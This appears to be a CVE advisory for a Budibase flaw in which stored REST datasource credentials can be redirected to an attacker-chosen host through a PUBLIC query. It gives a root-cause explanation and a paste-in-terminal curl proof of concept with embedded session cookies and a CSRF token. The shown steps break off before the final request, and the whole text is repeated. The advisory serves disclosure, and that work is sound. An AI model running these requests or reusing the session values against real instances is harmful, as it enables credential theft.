CVE-2026-73407

Budibase is an open-source low-code platform. Prior to 3.40.1, RestIntegration._req in packages/server/src/integrations/rest.ts attached credentials from getAuthHeaders and defaultHeaders without requiring the final request destination to match the datasource origin. An unauthenticated caller of a PUBLIC POST /api/v2/queries/:queryId query could supply an absolute or parameterized path to an attacker-controlled host and receive the stored bearer, basic, or static-header credentials. This issue is fixed in version 3.40.1.

Budibase is an open-source low-code platform. Prior to 3.40.1, RestIntegration._req in packages/server/src/integrations/rest.ts attached credentials from getAuthHeaders and defaultHeaders without requiring the final request destination to match the datasource origin. An unauthenticated caller of a PUBLIC POST /api/v2/queries/:queryId query could supply an absolute or parameterized path to an attacker-controlled host and receive the stored bearer, basic, or static-header credentials. This issue is fixed in version 3.40.1.

Summary

Budibase attaches a REST datasource's stored credentials (Bearer/Basic tokens and static headers) to an outgoing request before it decides which host the request goes to, and never checks that the destination host matches the datasource. A query's request path can be pointed at any host (via an absolute URL or a user-supplied {{ parameter }}), so the stored credentials are delivered to an attacker-chosen server. Because a query can be published with the PUBLIC role, this is reachable by a fully unauthenticated attacker with one HTTP request. The credentials are masked (--secret-value--) everywhere in the API, yet this recovers them in cleartext. This is a bypass of GHSA-3gp5 (which fixed the base-URL rewrite vector but added no same-origin check; the query-path vector remains, now unauthenticated).

Root Cause

packages/server/src/integrations/rest.ts: _req() builds authHeaders = getAuthHeaders(...) from the stored auth configs and merges them with config.defaultHeaders into every request, before the URL is resolved. getUrl(): if the (parameter-enriched) query path starts with http, the datasource base URL is ignored and path becomes the absolute request URL. There is no comparison between the resolved request host and the datasource base host before the credentials are attached. The execute route POST /api/v2/queries/:queryId runs under authorized(QUERY, WRITE); a query published at role PUBLIC is executable with no session.

POC

Reproduction — copy each line, paste in your terminal, press Enter,

Line 1:

DSID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/datasources" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"poc-rest","source":"REST","type":"datasource","config":{"url":"https://example.org","authConfigs":[{"_id":"ac1","name":"tok","type":"bearer","config":{"token":"UNAUTH_LEAK_TOKEN_5150"}}],"defaultHeaders":{"X-Static-Secret":"STATIC_HDR_LEAK_4242"}}},"fetchSchema":false,"tablesFilter":[]}' | python3 -c "import sys,json;print(json.load(sys.stdin)['datasource']['_id'])"); echo "datasource=$DSID"

RESPONSE

datasource=datasource_9938805b2d0348a4a4f28dc9d1c97f19

Line 2:

QID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/queries" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d "{\"datasourceId\":\"$DSID\",\"name\":\"pocq\",\"parameters\":[{\"name\":\"t\",\"default\":\"\"}],\"fields\":{\"path\":\"{{ t }}\",\"bodyType\":\"none\",\"authConfigId\":\"ac1\",\"authConfigType\":\"bearer\"},\"queryVerb\":\"read\",\"transformer\":\"return data\",\"schema\":{},\"readable\":true}" | python3 -c "import sys,json;print(json.load(sys.stdin)['_id'])"); echo "query=$QID"

RESPONSE …

Budibase is an open-source low-code platform. Prior to 3.40.1, RestIntegration._req in packages/server/src/integrations/rest.ts attached credentials from getAuthHeaders and defaultHeaders without requiring the final request destination to match the datasource origin. An unauthenticated caller of a PUBLIC POST /api/v2/queries/:queryId query could supply an absolute or parameterized path to an attacker-controlled host and receive the stored bearer, basic, or static-header credentials. This issue is fixed in version 3.40.1.

Budibase is an open-source low-code platform. Prior to 3.40.1, RestIntegration._req in packages/server/src/integrations/rest.ts attached credentials from getAuthHeaders and defaultHeaders without requiring the final request destination to match the datasource origin. An unauthenticated caller of a PUBLIC POST /api/v2/queries/:queryId query could supply an absolute or parameterized path to an attacker-controlled host and receive the stored bearer, basic, or static-header credentials. This issue is fixed in version 3.40.1.

Summary

Budibase attaches a REST datasource's stored credentials (Bearer/Basic tokens and static headers) to an outgoing request before it decides which host the request goes to, and never checks that the destination host matches the datasource. A query's request path can be pointed at any host (via an absolute URL or a user-supplied {{ parameter }}), so the stored credentials are delivered to an attacker-chosen server. Because a query can be published with the PUBLIC role, this is reachable by a fully unauthenticated attacker with one HTTP request. The credentials are masked (--secret-value--) everywhere in the API, yet this recovers them in cleartext. This is a bypass of GHSA-3gp5 (which fixed the base-URL rewrite vector but added no same-origin check; the query-path vector remains, now unauthenticated).

Root Cause

packages/server/src/integrations/rest.ts: _req() builds authHeaders = getAuthHeaders(...) from the stored auth configs and merges them with config.defaultHeaders into every request, before the URL is resolved. getUrl(): if the (parameter-enriched) query path starts with http, the datasource base URL is ignored and path becomes the absolute request URL. There is no comparison between the resolved request host and the datasource base host before the credentials are attached. The execute route POST /api/v2/queries/:queryId runs under authorized(QUERY, WRITE); a query published at role PUBLIC is executable with no session.

POC

Reproduction — copy each line, paste in your terminal, press Enter,

Line 1:

DSID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/datasources" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"poc-rest","source":"REST","type":"datasource","config":{"url":"https://example.org","authConfigs":[{"_id":"ac1","name":"tok","type":"bearer","config":{"token":"UNAUTH_LEAK_TOKEN_5150"}}],"defaultHeaders":{"X-Static-Secret":"STATIC_HDR_LEAK_4242"}}},"fetchSchema":false,"tablesFilter":[]}' | python3 -c "import sys,json;print(json.load(sys.stdin)['datasource']['_id'])"); echo "datasource=$DSID"

RESPONSE

datasource=datasource_9938805b2d0348a4a4f28dc9d1c97f19

Line 2:

QID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/queries" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d "{\"datasourceId\":\"$DSID\",\"name\":\"pocq\",\"parameters\":[{\"name\":\"t\",\"default\":\"\"}],\"fields\":{\"path\":\"{{ t }}\",\"bodyType\":\"none\",\"authConfigId\":\"ac1\",\"authConfigType\":\"bearer\"},\"queryVerb\":\"read\",\"transformer\":\"return data\",\"schema\":{},\"readable\":true}" | python3 -c "import sys,json;print(json.load(sys.stdin)['_id'])"); echo "query=$QID"

RESPONSE …